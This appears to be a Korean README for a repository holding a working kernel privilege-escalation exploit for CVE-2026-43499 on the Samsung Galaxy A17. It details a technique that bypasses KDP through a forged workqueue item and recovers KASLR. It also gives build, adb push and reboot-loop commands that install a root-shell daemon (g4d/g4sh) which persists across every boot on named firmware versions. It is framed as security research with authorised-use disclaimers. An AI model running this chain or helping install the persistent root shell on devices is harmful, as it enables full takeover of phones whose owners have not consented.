
Samsung Galaxy A17에서 KDP 우회, KASLR 복구, 위조된 workqueue 실행을 통해 루트 권한을 획득하고 지속적 셸을 유지하는 CVE-2026-43499 커널 익스플로잇
Samsung Galaxy A17 SM-A175F(Android 16 / GKI 6.12 구동)에서 **CVE-2026-43499("GhostLock")**에 대한 완전한 사용자→루트 권한 상승 익스플로잇 체인입니다.
이 체인은 공개된 GhostLock 프리미티브에서 시작하여 다음 권한으로 실행되는 usermode helper로 끝납니다:
uid=0(root) gid=0(root) groups=0(root)
context=u:r:kernel:s0
g4d / g4sh를 통해 부팅할 때마다 지속되는 루트 셸을 시작하고 커널 패닉 없이 종료합니다.
📖 전체 기술 문서:
https://www.mobilehackinglab.com/blog/cve-2026-43499-ghostlock-a17-root-shell
연구 노트
우리는 CVE-2026-43499를 발견하지 않았습니다. 원래 취약점과 IonStack 연구에 대한 공로는 Nebula Security에 있습니다.
이 저장소는 Samsung Galaxy A17로의 독립적인 포팅, Samsung의 커널 보호 기능에 필요한 변경 사항, 그리고 새로운 최종 익스플로잇 단계를 문서화합니다.
승인된 보안 연구 및 교육 목적으로만 사용하십시오.
| CVE | CVE-2026-43499 — "ghostlock" |
| 기기 | Samsung Galaxy A17 (SM-A175F, mt6789) |
| GPU | Mali-G57 |
| 커널 | 6.12.23-android16-5-abA175FXXS3BZA5-4k |
| 결과 | uid=0(root) / u:r:kernel:s0 |
| 루트 셸 | g4d 데몬 + g4sh 클라이언트 |
| 지속성 | 부팅 시마다 |
| 익스플로잇 종료 | 정상 종료, 커널 패닉 없음 |
| 직면한 완화 기법 | Samsung KDP, DEFEX, SELinux, PANIC_ON_OOPS, arm64 KASLR |
| 지원 펌웨어 | A175FXXS3BZA5 (커널 6.12.23) 및 A175FXXS6CZG1 (커널 6.12.38, SPL 2026-07-05) — 둘 다 기기에서 검증됨, 동일한 체인 |
원래 ghostlock 연구는 진입 프리미티브를 제공합니다:
pselect reclaim
↓
fake rt_mutex_waiter
↓
constrained rb-tree pointer write
Galaxy A17에서는 그러나 표준 자격 증명 패치 엔드게임이 작동하지 않습니다.
KDP는 EL2에서 자격 증명 관련 커널 데이터를 보호합니다.
이 빌드에서는 대상 주소가 정확하더라도 task 자격 증명을 수정하려는 시도가 조용히 무시되었습니다.
따라서 이 포팅은 root 자격 증명을 쓰는 대신, 커널이 기존의 권한 있는 자격 증명으로 실행되도록 합니다.
최종 단계:
constrained kernel write
↓
physical read/write channel
↓
KASLR slide recovery
↓
discover system_wq / cpu_pwq
↓
forge work_struct
↓
call_usermodehelper_exec_work
↓
/system/bin/sh
↓
uid=0(root), u:r:kernel:s0
바인딩된 system_wq 풀에 위조된 작업 항목이 배치되고 ptmx 할당/해제 폭풍으로 트리거됩니다.
결과적으로 생성된 usermode helper는 init 자격 증명으로 실행됩니다.
태스크 자격 증명 덮어쓰기는 필요하지 않습니다.
userspace shell (uid 2000)
│
▼
pselect / PI-futex primitive
│
▼
constrained aligned kernel pointer write
│
▼
forged pipe_buffer channel
│
▼
arbitrary physical read/write
│
├── recover KASLR slide
│
├── locate system_wq / cpu_pwq
│
└── prepare forged work_struct
│
▼
queue usermode-helper work
│
▼
ptmx storm wakes worker
│
▼
/system/bin/sh runs with init creds
│
▼
uid=0(root)
│
▼
g4d → @ghostlockd → g4sh
공개된 OnePlus 포팅과 비교했을 때, 초기 쓰기 프리미티브 이후의 대부분 단계가 재작업되었다.
자격 증명 패치 엔드게임은 usermode-helper 실행 경로를 대상으로 하는 위조된 workqueue 항목으로 대체되었다.
이는 보호된 cred 구조체를 전혀 쓰지 않도록 한다.
이전의 perf-event 앵커링 방식은 이 기기에서 신뢰할 수 없었다.
대신, 익스플로잇은 boot_id ctl_table 항목에서 가져온 세 개의 슬라이드된 포인터를 사용한다:
procname
data
proc_handler
세 가지 모두 슬라이드를 수락하기 전에 교차 검증됩니다.
cpu_pwq는 다음을 순회하여 탐색됩니다:
system_wq → pwqs
고정된 장치별 오프셋에 의존하지 않습니다.
원래 채널은 struct page 상태에 부수적인 변경을 남겨, 해제 과정에서 PANIC_ON_OOPS를 유발할 수 있습니다.
현재 체인은 해제 시의 크래시를 피하며, root 획득 후 깔끔하게 종료되는 것이 입증되었습니다.
usermode helper가 시작됩니다:
g4d
which listens on the abstract Unix socket:
@ghostlockd
g4sh가 이에 연결되어 대화형 루트 셸 또는 일회성 명령 실행을 제공합니다.
/data/local/tmp/a/g4sh
/data/local/tmp/a/g4sh -c "id"
이 타깃은 일반적인 Android 커널 익스플로잇 기법을 무력화하는 여러 보호 기법을 결합하고 있습니다:
이로 인해 일반적인 방식과는 다른 익스플로잇 전략이 필요했습니다:
arbitrary RW → patch cred → disable SELinux
대신:
arbitrary RW → recover runtime state → forge kernel work → execute usermode helper
최신 Android NDK가 필요합니다.
make # BZA5 firmware (kernel 6.12.23)
make czg1 # CZG1 firmware (kernel 6.12.38): per-target slide anchors,
# offsets are uname-keyed at runtime
생성:
ghostlock # exploit (ghostlock-czg1 for the CZG1 build)
g4d # static root-shell daemon
g4sh # root-shell client
바이너리를 푸시합니다:
adb push ghostlock /data/local/tmp/a/g4
adb push g4d /data/local/tmp/a/g4d
adb push g4sh /data/local/tmp/a/g4sh
adb shell 'chmod 755 /data/local/tmp/a/g4 /data/local/tmp/a/g4d /data/local/tmp/a/g4sh'
재부팅 인식 익스플로잇 루프를 실행합니다:
./scripts/rr_loop4.sh
ROOTED 이후:
adb shell /data/local/tmp/a/g4sh
또는 단일 명령을 실행하세요:
adb shell '/data/local/tmp/a/g4sh -c "id"'
예상 결과:
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
이 프리미티브는 확률적이며 부팅 조건에 크게 의존합니다.
성공적인 익스플로잇에는 반복 시도가 필요할 수 있습니다. 포함된 rr_loop4.sh 스크립트는 재시도와 재부팅 주기를 자동으로 처리합니다.
이것은 연구용 익스플로잇이며, 즉시 한 번에 되는 원클릭 루팅 도구가 아닙니다.
qemu-e2e/에는 추출된 Samsung 커널을 사용하는 엔드투엔드 검증 하네스가 포함되어 있습니다.
이 하네스는 다음을 테스트하는 데 사용되었습니다:
g4d / g4sh 왕복Samsung 커널 이미지 자체는 포함되어 있지 않습니다.
참고:
qemu-e2e/
설정 지침은 해당 문서를 참조하세요.
Makefile
src/ exploit source and device profiles
src/daemon/ g4d root daemon + g4sh client
docs/OFFSETS.md validated device offsets
docs/PORTING.md porting notes
examples/ proof-of-root artifacts
scripts/rr_loop4.sh reboot-aware exploit loop
qemu-e2e/ end-to-end QEMU validation
NebuSec:
https://nebusec.ai/research/ionstack-part-3/
https://github.com/NebuSec/CyberMeowfia/tree/main/IonStack
https://github.com/JoinChang/ghostlock-oneplus
Samsung Galaxy A17 포팅, KDP 제약 사항, KASLR 복구, workqueue 기반 최종 단계, 그리고 root 셸 구현에 대한 심층 분석:
https://www.mobilehackinglab.com/blog/cve-2026-43499-ghostlock-a17-root-shell
실제 기기 산출물은 다음 위치에서 확인할 수 있습니다:
examples/
익스플로잇 로그와 루트 컨텍스트 검증을 포함합니다.
예시:
uid=0(root)
gid=0(root)
groups=0(root)
context=u:r:kernel:s0
이 개념 증명은 교육 및 승인된 보안 연구 목적으로만 제공됩니다.
소유하고 있거나 테스트에 대한 명시적 허가를 받은 기기와 환경에서만 사용하십시오.